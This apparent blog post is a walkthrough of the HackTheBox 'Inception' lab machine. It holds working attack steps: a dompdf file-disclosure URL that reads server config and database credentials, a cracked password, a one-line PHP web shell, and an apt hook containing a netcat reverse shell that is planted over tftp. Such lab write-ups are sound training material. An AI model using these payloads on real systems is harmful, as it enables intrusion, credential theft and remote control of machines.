HackingExperiments

Inception – HackTheBox Walkthrough.

Lets do a Nmap Scan :

[ruby-2.3.0] Desktop ツ nmap -sC -sV 10.10.10.67

Starting Nmap 7.50 ( https://nmap.org ) at 2018-02-12 13:00 IST
Nmap scan report for 10.10.10.67
Host is up (0.23s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Inception
3128/tcp open http-proxy Squid http proxy 3.5.12
|_http-server-header: squid/3.5.12
|_http-title: ERROR: The requested URL could not be retrieved

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.79 seconds

We can see that the ports 80 and 3128 are open. So our first guess is that Squid Proxy is enabled so we might need to do a proxy tunnel sometime in the application.

So lets continue on to the web application.

Doing a quick check of the site HTML source revelas that there is a dompdf installation somewhere.

Doing a quick search for it online reveals that dompdf has a file disclosure vulnerability. Basic recon shows us that the dompdf installation is in :

http://10.10.10.67/dompdf/dompdf.php

So to test our file disclosure:

http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=dompdf.php

And we get a pdf with the base64 written on it. We can see that the base64 is hidden partially and we cant read the full base64 for the data retrieval from the pdf itself.

We can solve this by a simple strings command in the terminal :
strings dompdf_out-11.pdf | grep "\[(" | cut -d '(' -f2 | cut -d ')' -f1 | base64 --decode

So now we get the deciphered code. Lets do some enum now. We try to enumerate the apache directory and try and get the default configs.

http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf

This is converted into :

# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com

ServerAdmin webmaster@localhost
DocumentRoot /var/www/html

# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined

# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
Alias /webdav_test_inception /var/www/html/webdav_test_inception

Options FollowSymLinks
DAV On
AuthType Basic
AuthName "webdav test credential"
AuthUserFile /var/www/html/webdav_test_inception/webdav.passwd
Require valid-user
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

We get the hash: webdav_tester:$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0

Cracked in john with the rockyou.txt gives us: webdav_tester:babygurl69

So now we have directory, username and password. But if we look into the username and the directory, we can see that its got to do with WebDav. We know that WebDav is something like an FTP service. So we can mount the directory and put our shell to it?

So we mount it and then upload a web shell to it. While testing I saw that we cant issue a reverse shell as it would not connect back. I think that its primarily for the firewall that has been set up in the system.

So thats why we use a web shell.
php echo shell_exec($_GET['cmd']);

From here we can list all the files and do a basic enum. Doing this we can see that we have a user named Cobb.

Also, going one directory deep we see that we have a wordpress installation. And when we check out the code of the installation of the wp-config.php from before we can use the file disclosure vulnerability to read the code as well.

http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=../wordpress_4.8.3/wp-config.php

Decoding it, we can see the following

define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'VwPddNh7xMZyDQoByQL4');

We now use the proxy tunnel :

proxytunnel -p 10.10.10.67:3128 -d 127.0.0.1:22 -a 4444

And then

ssh cobb@127.0.0.1 -p 4444

Logged in as user  and user flag success.

For the root, we we try doing sudo -l, and we see that we can run all commands. So we simply do a sudo -i and with the password, we are now root.

Now we try searching for the root.txt file and we see that the root file is missing.

Doing a arp- e
We see that there in another interface with ip 192.168.0.1

The other part of this was really tricky for me and shoutout to Touhid and noobnoob for the enormous help.

So I had to do a tftp into 192.168.0.1 and then listing out all the cron and then I saw that cron was listed for sudo apt upgrade.

So I had to write a script that would run in the initial part.

cd /etc/apt/apt.conf.d
echo 'APT::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.194 1234 >/tmp/f";};' > 100update

nc -lvnp 1234
 
tftp 192.168.0.1 
tftp>put 100update /etc/apt/apt.conf.d/100update

Leave a Reply

Your email address will not be published. Required fields are marked *